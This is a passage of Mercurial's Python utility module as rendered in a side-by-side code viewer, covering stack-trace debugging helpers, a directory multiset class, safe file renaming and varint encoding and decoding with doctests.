3462 '''
3462 '''
3463 entries = [
3463 entries = [
3464 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3464 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3465 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3465 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3466 ][-depth:]
3466 ][-depth:]
3467 if entries:
3467 if entries:
3468 fnmax = max(len(entry[0]) for entry in entries)
3468 fnmax = max(len(entry[0]) for entry in entries)
3469 for fnln, func in entries:
3469 for fnln, func in entries:
3470 if line is None:
3470 if line is None:
3471 yield (fnmax, fnln, func)
3471 yield (fnmax, fnln, func)
3472 else:
3472 else:
3473 yield line % (fnmax, fnln, func)
3473 yield line % (fnmax, fnln, func)
3474
3474
3475
3475
3476 def debugstacktrace(
3476 def debugstacktrace(
3477 msg=b'stacktrace',
3477 msg=b'stacktrace',
3478 skip=0,
3478 skip=0,
3479 f=procutil.stderr,
3479 f=procutil.stderr,
3480 otherf=procutil.stdout,
3480 otherf=procutil.stdout,
3481 depth=0,
3481 depth=0,
3482 ):
3482 ):
3483 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3483 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3484 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3484 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3485 By default it will flush stdout first.
3485 By default it will flush stdout first.
3486 It can be used everywhere and intentionally does not require an ui object.
3486 It can be used everywhere and intentionally does not require an ui object.
3487 Not be used in production code but very convenient while developing.
3487 Not be used in production code but very convenient while developing.
3488 '''
3488 '''
3489 if otherf:
3489 if otherf:
3490 otherf.flush()
3490 otherf.flush()
3491 f.write(b'%s at:\n' % msg.rstrip())
3491 f.write(b'%s at:\n' % msg.rstrip())
3492 for line in getstackframes(skip + 1, depth=depth):
3492 for line in getstackframes(skip + 1, depth=depth):
3493 f.write(line)
3493 f.write(line)
3494 f.flush()
3494 f.flush()
3495
3495
3496
3496
3497 class dirs(object):
3497 class dirs(object):
3498 '''a multiset of directory names from a dirstate or manifest'''
3498 '''a multiset of directory names from a dirstate or manifest'''
3499
3499
3500 def __init__(self, map, skip=None):
3500 def __init__(self, map, skip=None):
3501 self._dirs = {}
3501 self._dirs = {}
3502 addpath = self.addpath
3502 addpath = self.addpath
3503 if isinstance(map, dict) and skip is not None:
3503 if isinstance(map, dict) and skip is not None:
3504 for f, s in pycompat.iteritems(map):
3504 for f, s in pycompat.iteritems(map):
3505 if s[0] != skip:
3505 if s[0] != skip:
3506 addpath(f)
3506 addpath(f)
3507 elif skip is not None:
3507 elif skip is not None:
3508 raise error.ProgrammingError(
3508 raise error.ProgrammingError(
3509 b"skip character is only supported with a dict source"
3509 b"skip character is only supported with a dict source"
3510 )
3510 )
3511 else:
3511 else:
3512 for f in map:
3512 for f in map:
3513 addpath(f)
3513 addpath(f)
3514
3514
3515 def addpath(self, path):
3515 def addpath(self, path):
3516 dirs = self._dirs
3516 dirs = self._dirs
3517 for base in finddirs(path):
3517 for base in finddirs(path):
3518 if base in dirs:
3518 if base in dirs:
3519 dirs[base] += 1
3519 dirs[base] += 1
3520 return
3520 return
3521 dirs[base] = 1
3521 dirs[base] = 1
3522
3522
3523 def delpath(self, path):
3523 def delpath(self, path):
3524 dirs = self._dirs
3524 dirs = self._dirs
3525 for base in finddirs(path):
3525 for base in finddirs(path):
3526 if dirs[base] > 1:
3526 if dirs[base] > 1:
3527 dirs[base] -= 1
3527 dirs[base] -= 1
3528 return
3528 return
3529 del dirs[base]
3529 del dirs[base]
3530
3530
3531 def __iter__(self):
3531 def __iter__(self):
3532 return iter(self._dirs)
3532 return iter(self._dirs)
3533
3533
3534 def __contains__(self, d):
3534 def __contains__(self, d):
3535 return d in self._dirs
3535 return d in self._dirs
3536
3536
3537
3537
3538 if safehasattr(parsers, 'dirs'):
3538 if safehasattr(parsers, 'dirs'):
3539 dirs = parsers.dirs
3539 dirs = parsers.dirs
3540
3540
3541 if rustdirs is not None:
3541 if rustdirs is not None:
3542 dirs = rustdirs
3542 dirs = rustdirs
3543
3543
3544
3544
3545 def finddirs(path):
3545 def finddirs(path):
3546 pos = path.rfind(b'/')
3546 pos = path.rfind(b'/')
3547 while pos != -1:
3547 while pos != -1:
3548 yield path[:pos]
3548 yield path[:pos]
3549 pos = path.rfind(b'/', 0, pos)
3549 pos = path.rfind(b'/', 0, pos)
3550 yield b''
3550 yield b''
3551
3551
3552
3552
3553 # convenient shortcut
3553 # convenient shortcut
3554 dst = debugstacktrace
3554 dst = debugstacktrace
3555
3555
3556
3556
3557 def safename(f, tag, ctx, others=None):
3557 def safename(f, tag, ctx, others=None):
3558 """
3558 """
3559 Generate a name that it is safe to rename f to in the given context.
3559 Generate a name that it is safe to rename f to in the given context.
3560
3560
3561 f: filename to rename
3561 f: filename to rename
3562 tag: a string tag that will be included in the new name
3562 tag: a string tag that will be included in the new name
3563 ctx: a context, in which the new name must not exist
3563 ctx: a context, in which the new name must not exist
3564 others: a set of other filenames that the new name must not be in
3564 others: a set of other filenames that the new name must not be in
3565
3565
3566 Returns a file name of the form oldname~tag[~number] which does not exist
3566 Returns a file name of the form oldname~tag[~number] which does not exist
3567 in the provided context and is not in the set of other names.
3567 in the provided context and is not in the set of other names.
3568 """
3568 """
3569 if others is None:
3569 if others is None:
3570 others = set()
3570 others = set()
3571
3571
3572 fn = b'%s~%s' % (f, tag)
3572 fn = b'%s~%s' % (f, tag)
3573 if fn not in ctx and fn not in others:
3573 if fn not in ctx and fn not in others:
3574 return fn
3574 return fn
3575 for n in itertools.count(1):
3575 for n in itertools.count(1):
3576 fn = b'%s~%s~%s' % (f, tag, n)
3576 fn = b'%s~%s~%s' % (f, tag, n)
3577 if fn not in ctx and fn not in others:
3577 if fn not in ctx and fn not in others:
3578 return fn
3578 return fn
3579
3579
3580
3580
3581 def readexactly(stream, n):
3581 def readexactly(stream, n):
3582 '''read n bytes from stream.read and abort if less was available'''
3582 '''read n bytes from stream.read and abort if less was available'''
3583 s = stream.read(n)
3583 s = stream.read(n)
3584 if len(s) < n:
3584 if len(s) < n:
3585 raise error.Abort(
3585 raise error.Abort(
3586 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3586 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3587 % (len(s), n)
3587 % (len(s), n)
3588 )
3588 )
3589 return s
3589 return s
3590
3590
3591
3591
3592 def uvarintencode(value):
3592 def uvarintencode(value):
3593 """Encode an unsigned integer value to a varint.
3593 """Encode an unsigned integer value to a varint.
3594
3594
3595 A varint is a variable length integer of 1 or more bytes. Each byte
3595 A varint is a variable length integer of 1 or more bytes. Each byte
3596 except the last has the most significant bit set. The lower 7 bits of
3596 except the last has the most significant bit set. The lower 7 bits of
3597 each byte store the 2's complement representation, least significant group
3597 each byte store the 2's complement representation, least significant group
3598 first.
3598 first.
3599
3599
3600 >>> uvarintencode(0)
3600 >>> uvarintencode(0)
3601 '\\x00'
3601 '\\x00'
3602 >>> uvarintencode(1)
3602 >>> uvarintencode(1)
3603 '\\x01'
3603 '\\x01'
3604 >>> uvarintencode(127)
3604 >>> uvarintencode(127)
3605 '\\x7f'
3605 '\\x7f'
3606 >>> uvarintencode(1337)
3606 >>> uvarintencode(1337)
3607 '\\xb9\\n'
3607 '\\xb9\\n'
3608 >>> uvarintencode(65536)
3608 >>> uvarintencode(65536)
3609 '\\x80\\x80\\x04'
3609 '\\x80\\x80\\x04'
3610 >>> uvarintencode(-1)
3610 >>> uvarintencode(-1)
3611 Traceback (most recent call last):
3611 Traceback (most recent call last):
3612 ...
3612 ...
3613 ProgrammingError: negative value for uvarint: -1
3613 ProgrammingError: negative value for uvarint: -1
3614 """
3614 """
3615 if value < 0:
3615 if value < 0:
3616 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3616 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3617 bits = value & 0x7F
3617 bits = value & 0x7F
3618 value >>= 7
3618 value >>= 7
3619 bytes = []
3619 bytes = []
3620 while value:
3620 while value:
3621 bytes.append(pycompat.bytechr(0x80 | bits))
3621 bytes.append(pycompat.bytechr(0x80 | bits))
3622 bits = value & 0x7F
3622 bits = value & 0x7F
3623 value >>= 7
3623 value >>= 7
3624 bytes.append(pycompat.bytechr(bits))
3624 bytes.append(pycompat.bytechr(bits))
3625
3625
3626 return b''.join(bytes)
3626 return b''.join(bytes)
3627
3627
3628
3628
3629 def uvarintdecodestream(fh):
3629 def uvarintdecodestream(fh):
3630 """Decode an unsigned variable length integer from a stream.
3630 """Decode an unsigned variable length integer from a stream.
3631
3631
3632 The passed argument is anything that has a ``.read(N)`` method.
3632 The passed argument is anything that has a ``.read(N)`` method.
3633
3633
3634 >>> try:
3634 >>> try:
3635 ... from StringIO import StringIO as BytesIO
3635 ... from StringIO import StringIO as BytesIO
3636 ... except ImportError:
3636 ... except ImportError:
3637 ... from io import BytesIO
3637 ... from io import BytesIO
3638 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3638 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3639 0
3639 0
3640 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3640 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3641 1
3641 1
3642 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3642 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3643 127
3643 127
3644 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3644 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3645 1337
3645 1337
3646 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3646 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3647 65536
3647 65536
3648 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3648 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3649 Traceback (most recent call last):
3649 Traceback (most recent call last):
3650 ...
3650 ...
3651 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3651 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3652 """
3652 """
3653 result = 0
3653 result = 0
3654 shift = 0
3654 shift = 0
3655 while True:
3655 while True:
3656 byte = ord(readexactly(fh, 1))
3656 byte = ord(readexactly(fh, 1))
3657 result |= (byte & 0x7F) << shift
3657 result |= (byte & 0x7F) << shift
3658 if not (byte & 0x80):
3658 if not (byte & 0x80):
3659 return result
3659 return result
3660 shift += 7
3660 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now